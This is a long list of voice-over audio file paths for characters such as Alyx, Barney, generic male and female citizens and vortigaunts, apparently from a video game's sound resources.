+vo/NovaProspekt/mo_talkingabout.wav +vo/NovaProspekt/mo_worried.wav +vo/npc/Alyx/al_excuse01.wav +vo/npc/Alyx/al_excuse02.wav +vo/npc/Alyx/al_excuse03.wav +vo/npc/Alyx/brutal02.wav +vo/npc/Alyx/coverme01.wav +vo/npc/Alyx/coverme02.wav +vo/npc/Alyx/coverme03.wav +vo/npc/Alyx/gasp02.wav +vo/npc/Alyx/gasp03.wav +vo/npc/Alyx/getback01.wav +vo/npc/Alyx/getback02.wav +vo/npc/Alyx/gordon_dist01.wav +vo/npc/Alyx/hurt04.wav +vo/npc/Alyx/hurt05.wav +vo/npc/Alyx/hurt06.wav +vo/npc/Alyx/hurt08.wav +vo/npc/Alyx/lookout01.wav +vo/npc/Alyx/lookout03.wav +vo/npc/Alyx/no01.wav +vo/npc/Alyx/no02.wav +vo/npc/Alyx/no03.wav +vo/npc/Alyx/ohgod01.wav +vo/npc/Alyx/ohno_startle01.wav +vo/npc/Alyx/ohno_startle03.wav +vo/npc/Alyx/uggh01.wav +vo/npc/Alyx/uggh02.wav +vo/npc/Alyx/watchout01.wav +vo/npc/Alyx/watchout02.wav +vo/npc/Alyx/youreload01.wav +vo/npc/Alyx/youreload02.wav +vo/npc/Barney/ba_bringiton.wav +vo/npc/Barney/ba_covermegord.wav +vo/npc/Barney/ba_damnit.wav +vo/npc/Barney/ba_danger02.wav +vo/npc/Barney/ba_downyougo.wav +vo/npc/Barney/ba_duck.wav +vo/npc/Barney/ba_followme01.wav +vo/npc/Barney/ba_followme02.wav +vo/npc/Barney/ba_followme03.wav +vo/npc/Barney/ba_followme05.wav +vo/npc/Barney/ba_getaway.wav +vo/npc/Barney/ba_getdown.wav +vo/npc/Barney/ba_getoutofway.wav +vo/npc/Barney/ba_goingdown.wav +vo/npc/Barney/ba_gordonhelp.wav +vo/npc/Barney/ba_gotone.wav +vo/npc/Barney/ba_grenade01.wav +vo/npc/Barney/ba_grenade02.wav +vo/npc/Barney/ba_headhumpers.wav +vo/npc/Barney/ba_hereitcomes.wav +vo/npc/Barney/ba_heretheycome01.wav +vo/npc/Barney/ba_heretheycome02.wav +vo/npc/Barney/ba_hurryup.wav +vo/npc/Barney/ba_imwithyou.wav +vo/npc/Barney/ba_laugh01.wav +vo/npc/Barney/ba_laugh02.wav +vo/npc/Barney/ba_laugh03.wav +vo/npc/Barney/ba_laugh04.wav +vo/npc/Barney/ba_letsdoit.wav +vo/npc/Barney/ba_letsgo.wav +vo/npc/Barney/ba_littlehelphere.wav +vo/npc/Barney/ba_lookout.wav +vo/npc/Barney/ba_losttouch.wav +vo/npc/Barney/ba_no01.wav +vo/npc/Barney/ba_no02.wav +vo/npc/Barney/ba_ohshit03.wav +vo/npc/Barney/ba_ohyeah.wav +vo/npc/Barney/ba_oldtimes.wav +vo/npc/Barney/ba_openfiregord.wav +vo/npc/Barney/ba_pain01.wav +vo/npc/Barney/ba_pain02.wav +vo/npc/Barney/ba_pain03.wav +vo/npc/Barney/ba_pain04.wav +vo/npc/Barney/ba_pain05.wav +vo/npc/Barney/ba_pain06.wav +vo/npc/Barney/ba_pain07.wav +vo/npc/Barney/ba_pain08.wav +vo/npc/Barney/ba_pain09.wav +vo/npc/Barney/ba_pain10.wav +vo/npc/Barney/ba_soldiers.wav +vo/npc/Barney/ba_turret.wav +vo/npc/Barney/ba_uhohheretheycome.wav +vo/npc/Barney/ba_wounded01.wav +vo/npc/Barney/ba_wounded02.wav +vo/npc/Barney/ba_wounded03.wav +vo/npc/Barney/ba_yell.wav +vo/npc/female01/abouttime01.wav +vo/npc/female01/abouttime02.wav +vo/npc/female01/ahgordon01.wav +vo/npc/female01/ahgordon02.wav +vo/npc/female01/ammo01.wav +vo/npc/female01/ammo02.wav +vo/npc/female01/ammo03.wav +vo/npc/female01/ammo04.wav +vo/npc/female01/ammo05.wav +vo/npc/female01/answer01.wav +vo/npc/female01/answer02.wav +vo/npc/female01/answer03.wav +vo/npc/female01/answer04.wav +vo/npc/female01/answer05.wav +vo/npc/female01/answer07.wav +vo/npc/female01/answer08.wav +vo/npc/female01/answer09.wav +vo/npc/female01/answer10.wav +vo/npc/female01/answer11.wav +vo/npc/female01/answer12.wav +vo/npc/female01/answer13.wav +vo/npc/female01/answer14.wav +vo/npc/female01/answer15.wav +vo/npc/female01/answer16.wav +vo/npc/female01/answer17.wav +vo/npc/female01/answer18.wav +vo/npc/female01/answer19.wav +vo/npc/female01/answer20.wav +vo/npc/female01/answer21.wav +vo/npc/female01/answer22.wav +vo/npc/female01/answer23.wav +vo/npc/female01/answer24.wav +vo/npc/female01/answer25.wav +vo/npc/female01/answer26.wav +vo/npc/female01/answer27.wav +vo/npc/female01/answer28.wav +vo/npc/female01/answer29.wav +vo/npc/female01/answer30.wav +vo/npc/female01/answer31.wav +vo/npc/female01/answer32.wav +vo/npc/female01/answer33.wav +vo/npc/female01/answer34.wav +vo/npc/female01/answer35.wav +vo/npc/female01/answer36.wav +vo/npc/female01/answer37.wav +vo/npc/female01/answer38.wav +vo/npc/female01/answer39.wav +vo/npc/female01/answer40.wav +vo/npc/female01/behindyou01.wav +vo/npc/female01/behindyou02.wav +vo/npc/female01/busy02.wav +vo/npc/female01/cit_dropper01.wav +vo/npc/female01/cit_dropper04.wav +vo/npc/female01/civilprotection01.wav +vo/npc/female01/civilprotection02.wav +vo/npc/female01/combine01.wav +vo/npc/female01/combine02.wav +vo/npc/female01/coverwhilereload01.wav +vo/npc/female01/coverwhilereload02.wav +vo/npc/female01/cps01.wav +vo/npc/female01/cps02.wav +vo/npc/female01/docfreeman01.wav +vo/npc/female01/docfreeman02.wav +vo/npc/female01/doingsomething.wav +vo/npc/female01/dontforgetreload01.wav +vo/npc/female01/excuseme01.wav +vo/npc/female01/excuseme02.wav +vo/npc/female01/fantastic01.wav +vo/npc/female01/fantastic02.wav +vo/npc/female01/finally.wav +vo/npc/female01/freeman.wav +vo/npc/female01/getdown02.wav +vo/npc/female01/getgoingsoon.wav +vo/npc/female01/gethellout.wav +vo/npc/female01/goodgod.wav +vo/npc/female01/gordead_ans01.wav +vo/npc/female01/gordead_ans02.wav +vo/npc/female01/gordead_ans03.wav +vo/npc/female01/gordead_ans04.wav +vo/npc/female01/gordead_ans05.wav +vo/npc/female01/gordead_ans06.wav +vo/npc/female01/gordead_ans07.wav +vo/npc/female01/gordead_ans08.wav +vo/npc/female01/gordead_ans09.wav +vo/npc/female01/gordead_ans10.wav +vo/npc/female01/gordead_ans11.wav +vo/npc/female01/gordead_ans12.wav +vo/npc/female01/gordead_ans13.wav +vo/npc/female01/gordead_ans14.wav +vo/npc/female01/gordead_ans15.wav +vo/npc/female01/gordead_ans16.wav +vo/npc/female01/gordead_ans17.wav +vo/npc/female01/gordead_ans18.wav +vo/npc/female01/gordead_ans19.wav +vo/npc/female01/gordead_ans20.wav +vo/npc/female01/gordead_ques01.wav +vo/npc/female01/gordead_ques02.wav +vo/npc/female01/gordead_ques04.wav +vo/npc/female01/gordead_ques05.wav +vo/npc/female01/gordead_ques06.wav +vo/npc/female01/gordead_ques07.wav +vo/npc/female01/gordead_ques08.wav +vo/npc/female01/gordead_ques10.wav +vo/npc/female01/gordead_ques11.wav +vo/npc/female01/gordead_ques12.wav +vo/npc/female01/gordead_ques13.wav +vo/npc/female01/gordead_ques14.wav +vo/npc/female01/gordead_ques15.wav +vo/npc/female01/gordead_ques16.wav +vo/npc/female01/gordead_ques17.wav +vo/npc/female01/gotone01.wav +vo/npc/female01/gotone02.wav +vo/npc/female01/gottareload01.wav +vo/npc/female01/gunship02.wav +vo/npc/female01/hacks01.wav +vo/npc/female01/hacks02.wav +vo/npc/female01/headcrabs01.wav +vo/npc/female01/headcrabs02.wav +vo/npc/female01/headsup01.wav +vo/npc/female01/headsup02.wav +vo/npc/female01/health01.wav +vo/npc/female01/health02.wav +vo/npc/female01/health03.wav +vo/npc/female01/health04.wav +vo/npc/female01/health05.wav +vo/npc/female01/hellodrfm01.wav +vo/npc/female01/hellodrfm02.wav +vo/npc/female01/help01.wav +vo/npc/female01/herecomehacks01.wav +vo/npc/female01/herecomehacks02.wav +vo/npc/female01/heretheycome01.wav +vo/npc/female01/heretohelp01.wav +vo/npc/female01/heretohelp02.wav +vo/npc/female01/heydoc01.wav +vo/npc/female01/heydoc02.wav +vo/npc/female01/hi01.wav +vo/npc/female01/hi02.wav +vo/npc/female01/hitingut01.wav +vo/npc/female01/hitingut02.wav +vo/npc/female01/holddownspot01.wav +vo/npc/female01/holddownspot02.wav +vo/npc/female01/illstayhere01.wav +vo/npc/female01/imhurt01.wav +vo/npc/female01/imhurt02.wav +vo/npc/female01/imstickinghere01.wav +vo/npc/female01/incoming02.wav +vo/npc/female01/itsamanhack01.wav +vo/npc/female01/itsamanhack02.wav +vo/npc/female01/leadon01.wav +vo/npc/female01/leadon02.wav +vo/npc/female01/leadtheway01.wav +vo/npc/female01/leadtheway02.wav +vo/npc/female01/letsgo01.wav +vo/npc/female01/letsgo02.wav +vo/npc/female01/likethat.wav +vo/npc/female01/littlecorner01.wav +vo/npc/female01/lookoutfm01.wav +vo/npc/female01/lookoutfm02.wav +vo/npc/female01/moan01.wav +vo/npc/female01/moan02.wav +vo/npc/female01/moan03.wav +vo/npc/female01/moan04.wav +vo/npc/female01/moan05.wav +vo/npc/female01/myarm01.wav +vo/npc/female01/myarm02.wav +vo/npc/female01/mygut02.wav +vo/npc/female01/myleg01.wav +vo/npc/female01/myleg02.wav +vo/npc/female01/nice01.wav +vo/npc/female01/nice02.wav +vo/npc/female01/no01.wav +vo/npc/female01/no02.wav +vo/npc/female01/notthemanithought01.wav +vo/npc/female01/notthemanithought02.wav +vo/npc/female01/ohno.wav +vo/npc/female01/ok01.wav +vo/npc/female01/ok02.wav +vo/npc/female01/okimready01.wav +vo/npc/female01/okimready02.wav +vo/npc/female01/okimready03.wav +vo/npc/female01/onyourside.wav +vo/npc/female01/outofyourway02.wav +vo/npc/female01/overhere01.wav +vo/npc/female01/overthere01.wav +vo/npc/female01/overthere02.wav +vo/npc/female01/ow01.wav +vo/npc/female01/ow02.wav +vo/npc/female01/pain01.wav +vo/npc/female01/pain02.wav +vo/npc/female01/pain03.wav +vo/npc/female01/pain04.wav +vo/npc/female01/pain05.wav +vo/npc/female01/pain06.wav +vo/npc/female01/pain07.wav +vo/npc/female01/pain08.wav +vo/npc/female01/pain09.wav +vo/npc/female01/pardonme01.wav +vo/npc/female01/pardonme02.wav +vo/npc/female01/question01.wav +vo/npc/female01/question02.wav +vo/npc/female01/question03.wav +vo/npc/female01/question04.wav +vo/npc/female01/question05.wav +vo/npc/female01/question06.wav +vo/npc/female01/question07.wav +vo/npc/female01/question08.wav +vo/npc/female01/question09.wav +vo/npc/female01/question10.wav +vo/npc/female01/question11.wav +vo/npc/female01/question12.wav +vo/npc/female01/question13.wav +vo/npc/female01/question14.wav +vo/npc/female01/question15.wav +vo/npc/female01/question16.wav +vo/npc/female01/question17.wav +vo/npc/female01/question18.wav +vo/npc/female01/question19.wav +vo/npc/female01/question20.wav +vo/npc/female01/question21.wav +vo/npc/female01/question22.wav +vo/npc/female01/question23.wav +vo/npc/female01/question25.wav +vo/npc/female01/question26.wav +vo/npc/female01/question27.wav +vo/npc/female01/question28.wav +vo/npc/female01/question29.wav +vo/npc/female01/question30.wav +vo/npc/female01/question31.wav +vo/npc/female01/readywhenyouare01.wav +vo/npc/female01/readywhenyouare02.wav +vo/npc/female01/reloadfm01.wav +vo/npc/female01/reloadfm02.wav +vo/npc/female01/runforyourlife01.wav +vo/npc/female01/runforyourlife02.wav +vo/npc/female01/scanners01.wav +vo/npc/female01/scanners02.wav +vo/npc/female01/sorry01.wav +vo/npc/female01/sorry02.wav +vo/npc/female01/sorry03.wav +vo/npc/female01/sorrydoc01.wav +vo/npc/female01/sorrydoc02.wav +vo/npc/female01/sorrydoc04.wav +vo/npc/female01/sorryfm01.wav +vo/npc/female01/sorryfm02.wav +vo/npc/female01/squad_affirm01.wav +vo/npc/female01/squad_affirm02.wav +vo/npc/female01/squad_affirm03.wav +vo/npc/female01/squad_affirm04.wav +vo/npc/female01/squad_affirm05.wav +vo/npc/female01/squad_affirm06.wav +vo/npc/female01/squad_affirm07.wav +vo/npc/female01/squad_affirm08.wav +vo/npc/female01/squad_affirm09.wav +vo/npc/female01/squad_approach01.wav +vo/npc/female01/squad_approach02.wav +vo/npc/female01/squad_approach03.wav +vo/npc/female01/squad_approach04.wav +vo/npc/female01/squad_away01.wav +vo/npc/female01/squad_away02.wav +vo/npc/female01/squad_away03.wav +vo/npc/female01/squad_follow01.wav +vo/npc/female01/squad_follow02.wav +vo/npc/female01/squad_follow03.wav +vo/npc/female01/squad_follow04.wav +vo/npc/female01/squad_greet01.wav +vo/npc/female01/squad_greet02.wav +vo/npc/female01/squad_greet04.wav +vo/npc/female01/squad_reinforce_group01.wav +vo/npc/female01/squad_reinforce_group02.wav +vo/npc/female01/squad_reinforce_group03.wav +vo/npc/female01/squad_reinforce_group04.wav +vo/npc/female01/squad_reinforce_single01.wav +vo/npc/female01/squad_reinforce_single02.wav +vo/npc/female01/squad_reinforce_single03.wav +vo/npc/female01/squad_reinforce_single04.wav +vo/npc/female01/squad_train01.wav +vo/npc/female01/squad_train02.wav +vo/npc/female01/squad_train03.wav +vo/npc/female01/squad_train04.wav +vo/npc/female01/startle01.wav +vo/npc/female01/startle02.wav +vo/npc/female01/stopitfm.wav +vo/npc/female01/strider.wav +vo/npc/female01/strider_run.wav +vo/npc/female01/takecover02.wav +vo/npc/female01/thehacks01.wav +vo/npc/female01/thehacks02.wav +vo/npc/female01/thislldonicely01.wav +vo/npc/female01/uhoh.wav +vo/npc/female01/upthere01.wav +vo/npc/female01/upthere02.wav +vo/npc/female01/vanswer01.wav +vo/npc/female01/vanswer02.wav +vo/npc/female01/vanswer03.wav +vo/npc/female01/vanswer04.wav +vo/npc/female01/vanswer05.wav +vo/npc/female01/vanswer06.wav +vo/npc/female01/vanswer07.wav +vo/npc/female01/vanswer08.wav +vo/npc/female01/vanswer09.wav +vo/npc/female01/vanswer10.wav +vo/npc/female01/vanswer11.wav +vo/npc/female01/vanswer12.wav +vo/npc/female01/vanswer13.wav +vo/npc/female01/vanswer14.wav +vo/npc/female01/vquestion01.wav +vo/npc/female01/vquestion02.wav +vo/npc/female01/vquestion03.wav +vo/npc/female01/vquestion04.wav +vo/npc/female01/vquestion05.wav +vo/npc/female01/vquestion06.wav +vo/npc/female01/vquestion07.wav +vo/npc/female01/waitingsomebody.wav +vo/npc/female01/watchout.wav +vo/npc/female01/watchwhat.wav +vo/npc/female01/wetrustedyou01.wav +vo/npc/female01/wetrustedyou02.wav +vo/npc/female01/whoops01.wav +vo/npc/female01/yeah02.wav +vo/npc/female01/youdbetterreload01.wav +vo/npc/female01/yougotit02.wav +vo/npc/female01/zombies01.wav +vo/npc/female01/zombies02.wav +vo/npc/male01/abouttime01.wav +vo/npc/male01/abouttime02.wav +vo/npc/male01/ahgordon01.wav +vo/npc/male01/ahgordon02.wav +vo/npc/male01/ammo01.wav +vo/npc/male01/ammo02.wav +vo/npc/male01/ammo03.wav +vo/npc/male01/ammo04.wav +vo/npc/male01/ammo05.wav +vo/npc/male01/answer01.wav +vo/npc/male01/answer02.wav +vo/npc/male01/answer03.wav +vo/npc/male01/answer04.wav +vo/npc/male01/answer05.wav +vo/npc/male01/answer07.wav +vo/npc/male01/answer08.wav +vo/npc/male01/answer09.wav +vo/npc/male01/answer10.wav +vo/npc/male01/answer11.wav +vo/npc/male01/answer12.wav +vo/npc/male01/answer13.wav +vo/npc/male01/answer14.wav +vo/npc/male01/answer15.wav +vo/npc/male01/answer16.wav +vo/npc/male01/answer17.wav +vo/npc/male01/answer18.wav +vo/npc/male01/answer19.wav +vo/npc/male01/answer20.wav +vo/npc/male01/answer21.wav +vo/npc/male01/answer22.wav +vo/npc/male01/answer23.wav +vo/npc/male01/answer24.wav +vo/npc/male01/answer25.wav +vo/npc/male01/answer26.wav +vo/npc/male01/answer27.wav +vo/npc/male01/answer28.wav +vo/npc/male01/answer29.wav +vo/npc/male01/answer30.wav +vo/npc/male01/answer31.wav +vo/npc/male01/answer32.wav +vo/npc/male01/answer33.wav +vo/npc/male01/answer34.wav +vo/npc/male01/answer35.wav +vo/npc/male01/answer36.wav +vo/npc/male01/answer37.wav +vo/npc/male01/answer38.wav +vo/npc/male01/answer39.wav +vo/npc/male01/answer40.wav +vo/npc/male01/behindyou01.wav +vo/npc/male01/behindyou02.wav +vo/npc/male01/busy02.wav +vo/npc/male01/cit_dropper01.wav +vo/npc/male01/cit_dropper04.wav +vo/npc/male01/civilprotection01.wav +vo/npc/male01/civilprotection02.wav +vo/npc/male01/combine01.wav +vo/npc/male01/combine02.wav +vo/npc/male01/coverwhilereload01.wav +vo/npc/male01/coverwhilereload02.wav +vo/npc/male01/cps01.wav +vo/npc/male01/cps02.wav +vo/npc/male01/docfreeman01.wav +vo/npc/male01/docfreeman02.wav +vo/npc/male01/doingsomething.wav +vo/npc/male01/dontforgetreload01.wav +vo/npc/male01/evenodds.wav +vo/npc/male01/excuseme01.wav +vo/npc/male01/excuseme02.wav +vo/npc/male01/fantastic01.wav +vo/npc/male01/fantastic02.wav +vo/npc/male01/finally.wav +vo/npc/male01/freeman.wav +vo/npc/male01/getdown02.wav +vo/npc/male01/getgoingsoon.wav +vo/npc/male01/gethellout.wav +vo/npc/male01/goodgod.wav +vo/npc/male01/gordead_ans01.wav +vo/npc/male01/gordead_ans02.wav +vo/npc/male01/gordead_ans03.wav +vo/npc/male01/gordead_ans04.wav +vo/npc/male01/gordead_ans05.wav +vo/npc/male01/gordead_ans06.wav +vo/npc/male01/gordead_ans07.wav +vo/npc/male01/gordead_ans08.wav +vo/npc/male01/gordead_ans09.wav +vo/npc/male01/gordead_ans10.wav +vo/npc/male01/gordead_ans11.wav +vo/npc/male01/gordead_ans12.wav +vo/npc/male01/gordead_ans13.wav +vo/npc/male01/gordead_ans14.wav +vo/npc/male01/gordead_ans15.wav +vo/npc/male01/gordead_ans16.wav +vo/npc/male01/gordead_ans17.wav +vo/npc/male01/gordead_ans18.wav +vo/npc/male01/gordead_ans19.wav +vo/npc/male01/gordead_ans20.wav +vo/npc/male01/gordead_ques01.wav +vo/npc/male01/gordead_ques02.wav +vo/npc/male01/gordead_ques03a.wav +vo/npc/male01/gordead_ques03b.wav +vo/npc/male01/gordead_ques04.wav +vo/npc/male01/gordead_ques05.wav +vo/npc/male01/gordead_ques06.wav +vo/npc/male01/gordead_ques07.wav +vo/npc/male01/gordead_ques08.wav +vo/npc/male01/gordead_ques10.wav +vo/npc/male01/gordead_ques11.wav +vo/npc/male01/gordead_ques12.wav +vo/npc/male01/gordead_ques13.wav +vo/npc/male01/gordead_ques14.wav +vo/npc/male01/gordead_ques15.wav +vo/npc/male01/gordead_ques16.wav +vo/npc/male01/gordead_ques17.wav +vo/npc/male01/gotone01.wav +vo/npc/male01/gotone02.wav +vo/npc/male01/gottareload01.wav +vo/npc/male01/gunship02.wav +vo/npc/male01/hacks01.wav +vo/npc/male01/hacks02.wav +vo/npc/male01/headcrabs01.wav +vo/npc/male01/headcrabs02.wav +vo/npc/male01/headsup01.wav +vo/npc/male01/headsup02.wav +vo/npc/male01/health01.wav +vo/npc/male01/health02.wav +vo/npc/male01/health03.wav +vo/npc/male01/health04.wav +vo/npc/male01/health05.wav +vo/npc/male01/hellodrfm01.wav +vo/npc/male01/hellodrfm02.wav +vo/npc/male01/help01.wav +vo/npc/male01/herecomehacks01.wav +vo/npc/male01/herecomehacks02.wav +vo/npc/male01/heretheycome01.wav +vo/npc/male01/heretohelp01.wav +vo/npc/male01/heretohelp02.wav +vo/npc/male01/heydoc01.wav +vo/npc/male01/heydoc02.wav +vo/npc/male01/hi01.wav +vo/npc/male01/hi02.wav +vo/npc/male01/hitingut01.wav +vo/npc/male01/hitingut02.wav +vo/npc/male01/holddownspot01.wav +vo/npc/male01/holddownspot02.wav +vo/npc/male01/illstayhere01.wav +vo/npc/male01/imhurt01.wav +vo/npc/male01/imhurt02.wav +vo/npc/male01/imstickinghere01.wav +vo/npc/male01/incoming02.wav +vo/npc/male01/itsamanhack01.wav +vo/npc/male01/itsamanhack02.wav +vo/npc/male01/leadon01.wav +vo/npc/male01/leadon02.wav +vo/npc/male01/leadtheway01.wav +vo/npc/male01/leadtheway02.wav +vo/npc/male01/letsgo01.wav +vo/npc/male01/letsgo02.wav +vo/npc/male01/likethat.wav +vo/npc/male01/littlecorner01.wav +vo/npc/male01/lookoutfm01.wav +vo/npc/male01/lookoutfm02.wav +vo/npc/male01/moan01.wav +vo/npc/male01/moan02.wav +vo/npc/male01/moan03.wav +vo/npc/male01/moan04.wav +vo/npc/male01/moan05.wav +vo/npc/male01/myarm01.wav +vo/npc/male01/myarm02.wav +vo/npc/male01/mygut02.wav +vo/npc/male01/myleg01.wav +vo/npc/male01/myleg02.wav +vo/npc/male01/nice.wav +vo/npc/male01/no01.wav +vo/npc/male01/no02.wav +vo/npc/male01/notthemanithought01.wav +vo/npc/male01/notthemanithought02.wav +vo/npc/male01/ohno.wav +vo/npc/male01/ok01.wav +vo/npc/male01/ok02.wav +vo/npc/male01/okimready01.wav +vo/npc/male01/okimready02.wav +vo/npc/male01/okimready03.wav +vo/npc/male01/oneforme.wav +vo/npc/male01/onyourside.wav +vo/npc/male01/outofyourway02.wav +vo/npc/male01/overhere01.wav +vo/npc/male01/overthere01.wav +vo/npc/male01/overthere02.wav +vo/npc/male01/ow01.wav +vo/npc/male01/ow02.wav +vo/npc/male01/pain01.wav +vo/npc/male01/pain02.wav +vo/npc/male01/pain03.wav +vo/npc/male01/pain04.wav +vo/npc/male01/pain05.wav +vo/npc/male01/pain06.wav +vo/npc/male01/pain07.wav +vo/npc/male01/pain08.wav +vo/npc/male01/pain09.wav +vo/npc/male01/pardonme01.wav +vo/npc/male01/pardonme02.wav +vo/npc/male01/question01.wav +vo/npc/male01/question02.wav +vo/npc/male01/question03.wav +vo/npc/male01/question04.wav +vo/npc/male01/question05.wav +vo/npc/male01/question06.wav +vo/npc/male01/question07.wav +vo/npc/male01/question08.wav +vo/npc/male01/question09.wav +vo/npc/male01/question10.wav +vo/npc/male01/question11.wav +vo/npc/male01/question12.wav +vo/npc/male01/question13.wav +vo/npc/male01/question14.wav +vo/npc/male01/question15.wav +vo/npc/male01/question16.wav +vo/npc/male01/question17.wav +vo/npc/male01/question18.wav +vo/npc/male01/question19.wav +vo/npc/male01/question20.wav +vo/npc/male01/question21.wav +vo/npc/male01/question22.wav +vo/npc/male01/question23.wav +vo/npc/male01/question25.wav +vo/npc/male01/question26.wav +vo/npc/male01/question27.wav +vo/npc/male01/question28.wav +vo/npc/male01/question29.wav +vo/npc/male01/question30.wav +vo/npc/male01/readywhenyouare01.wav +vo/npc/male01/readywhenyouare02.wav +vo/npc/male01/reloadfm01.wav +vo/npc/male01/reloadfm02.wav +vo/npc/male01/runforyourlife01.wav +vo/npc/male01/runforyourlife02.wav +vo/npc/male01/runforyourlife03.wav +vo/npc/male01/scanners01.wav +vo/npc/male01/scanners02.wav +vo/npc/male01/sorry01.wav +vo/npc/male01/sorry02.wav +vo/npc/male01/sorry03.wav +vo/npc/male01/sorrydoc01.wav +vo/npc/male01/sorrydoc02.wav +vo/npc/male01/sorrydoc04.wav +vo/npc/male01/sorryfm01.wav +vo/npc/male01/sorryfm02.wav +vo/npc/male01/squad_affirm01.wav +vo/npc/male01/squad_affirm02.wav +vo/npc/male01/squad_affirm03.wav +vo/npc/male01/squad_affirm04.wav +vo/npc/male01/squad_affirm05.wav +vo/npc/male01/squad_affirm06.wav +vo/npc/male01/squad_affirm07.wav +vo/npc/male01/squad_affirm08.wav +vo/npc/male01/squad_affirm09.wav +vo/npc/male01/squad_approach01.wav +vo/npc/male01/squad_approach02.wav +vo/npc/male01/squad_approach03.wav +vo/npc/male01/squad_approach04.wav +vo/npc/male01/squad_away01.wav +vo/npc/male01/squad_away02.wav +vo/npc/male01/squad_away03.wav +vo/npc/male01/squad_follow01.wav +vo/npc/male01/squad_follow02.wav +vo/npc/male01/squad_follow03.wav +vo/npc/male01/squad_follow04.wav +vo/npc/male01/squad_greet01.wav +vo/npc/male01/squad_greet02.wav +vo/npc/male01/squad_greet04.wav +vo/npc/male01/squad_reinforce_group01.wav +vo/npc/male01/squad_reinforce_group02.wav +vo/npc/male01/squad_reinforce_group03.wav +vo/npc/male01/squad_reinforce_group04.wav +vo/npc/male01/squad_reinforce_single01.wav +vo/npc/male01/squad_reinforce_single02.wav +vo/npc/male01/squad_reinforce_single03.wav +vo/npc/male01/squad_reinforce_single04.wav +vo/npc/male01/squad_train01.wav +vo/npc/male01/squad_train02.wav +vo/npc/male01/squad_train03.wav +vo/npc/male01/squad_train04.wav +vo/npc/male01/startle01.wav +vo/npc/male01/startle02.wav +vo/npc/male01/stopitfm.wav +vo/npc/male01/strider.wav +vo/npc/male01/strider_run.wav +vo/npc/male01/takecover02.wav +vo/npc/male01/thehacks01.wav +vo/npc/male01/thehacks02.wav +vo/npc/male01/thislldonicely01.wav +vo/npc/male01/uhoh.wav +vo/npc/male01/upthere01.wav +vo/npc/male01/upthere02.wav +vo/npc/male01/vanswer01.wav +vo/npc/male01/vanswer02.wav +vo/npc/male01/vanswer03.wav +vo/npc/male01/vanswer04.wav +vo/npc/male01/vanswer05.wav +vo/npc/male01/vanswer06.wav +vo/npc/male01/vanswer07.wav +vo/npc/male01/vanswer08.wav +vo/npc/male01/vanswer09.wav +vo/npc/male01/vanswer10.wav +vo/npc/male01/vanswer11.wav +vo/npc/male01/vanswer12.wav +vo/npc/male01/vanswer13.wav +vo/npc/male01/vanswer14.wav +vo/npc/male01/vquestion01.wav +vo/npc/male01/vquestion02.wav +vo/npc/male01/vquestion03.wav +vo/npc/male01/vquestion04.wav +vo/npc/male01/vquestion05.wav +vo/npc/male01/vquestion06.wav +vo/npc/male01/vquestion07.wav +vo/npc/male01/waitingsomebody.wav +vo/npc/male01/watchout.wav +vo/npc/male01/watchwhat.wav +vo/npc/male01/wetrustedyou01.wav +vo/npc/male01/wetrustedyou02.wav +vo/npc/male01/whoops01.wav +vo/npc/male01/yeah02.wav +vo/npc/male01/youdbetterreload01.wav +vo/npc/male01/yougotit02.wav +vo/npc/male01/zombies01.wav +vo/npc/male01/zombies02.wav +vo/npc/vortigaunt/acceptcharge.wav +vo/npc/vortigaunt/acceptenergy.wav +vo/npc/vortigaunt/accompany.wav +vo/npc/vortigaunt/affirmed.wav +vo/npc/vortigaunt/alldear.wav +vo/npc/vortigaunt/allfornow.wav +vo/npc/vortigaunt/allinoneinall.wav +vo/npc/vortigaunt/allowme.wav +vo/npc/vortigaunt/allowrecharge.wav +vo/npc/vortigaunt/allwecanspare.wav +vo/npc/vortigaunt/allwehave.wav +vo/npc/vortigaunt/assent.wav +vo/npc/vortigaunt/asyouwish.wav +vo/npc/vortigaunt/beofservice.wav +vo/npc/vortigaunt/bodyyours.wav +vo/npc/vortigaunt/calm.wav +vo/npc/vortigaunt/canconvince.wav +vo/npc/vortigaunt/cannotfire.wav +vo/npc/vortigaunt/caution.wav +vo/npc/vortigaunt/cautionfm.wav +vo/npc/vortigaunt/certainly.wav +vo/npc/vortigaunt/corporeal.wav +vo/npc/vortigaunt/dedicate.wav +vo/npc/vortigaunt/done.wav +vo/npc/vortigaunt/dreamed.wav +vo/npc/vortigaunt/empowerus.wav +vo/npc/vortigaunt/energyempower.wav +vo/npc/vortigaunt/fearfailed.wav +vo/npc/vortigaunt/fmbeware.wav +vo/npc/vortigaunt/fmcanuse.wav +vo/npc/vortigaunt/fmdoesushonor.wav +vo/npc/vortigaunt/fmhonorsus.wav +vo/npc/vortigaunt/fminway.wav +vo/npc/vortigaunt/fmknowsbest.wav +vo/npc/vortigaunt/fmmustbeware.wav +vo/npc/vortigaunt/fmmustfollow.wav +vo/npc/vortigaunt/fmmustmove.wav +vo/npc/vortigaunt/fmstandstill.wav +vo/npc/vortigaunt/followfm.wav +vo/npc/vortigaunt/forfreedom.wav +vo/npc/vortigaunt/forthefm.wav +vo/npc/vortigaunt/forward.wav +vo/npc/vortigaunt/freeman.wav +vo/npc/vortigaunt/giveover.wav +vo/npc/vortigaunt/gladly.wav +vo/npc/vortigaunt/gloriousend.wav +vo/npc/vortigaunt/greetingsfm.wav +vo/npc/vortigaunt/halt.wav +vo/npc/vortigaunt/here.wav +vo/npc/vortigaunt/herewestay.wav +vo/npc/vortigaunt/hold.wav +vo/npc/vortigaunt/holdorcantcharge.wav +vo/npc/vortigaunt/holdstill.wav +vo/npc/vortigaunt/honorfollow.wav +vo/npc/vortigaunt/honorours.wav +vo/npc/vortigaunt/hopeless.wav +vo/npc/vortigaunt/ifyoumove.wav +vo/npc/vortigaunt/isitthefm.wav +vo/npc/vortigaunt/itishonor.wav +vo/npc/vortigaunt/itisthefm.wav +vo/npc/vortigaunt/keepfmsafe.wav +vo/npc/vortigaunt/leadon.wav +vo/npc/vortigaunt/leadus.wav +vo/npc/vortigaunt/livetoserve.wav +vo/npc/vortigaunt/morethanmeets.wav +vo/npc/vortigaunt/movingtarget.wav +vo/npc/vortigaunt/mutual.wav +vo/npc/vortigaunt/mystery.wav +vo/npc/vortigaunt/neuroprints.wav +vo/npc/vortigaunt/nodenexus.wav +vo/npc/vortigaunt/onward.wav +vo/npc/vortigaunt/opaque.wav +vo/npc/vortigaunt/optical.wav +vo/npc/vortigaunt/ourhonor.wav +vo/npc/vortigaunt/ourplacehere.wav +vo/npc/vortigaunt/passon.wav +vo/npc/vortigaunt/persevere.wav +vo/npc/vortigaunt/pleasure.wav +vo/npc/vortigaunt/poet.wav 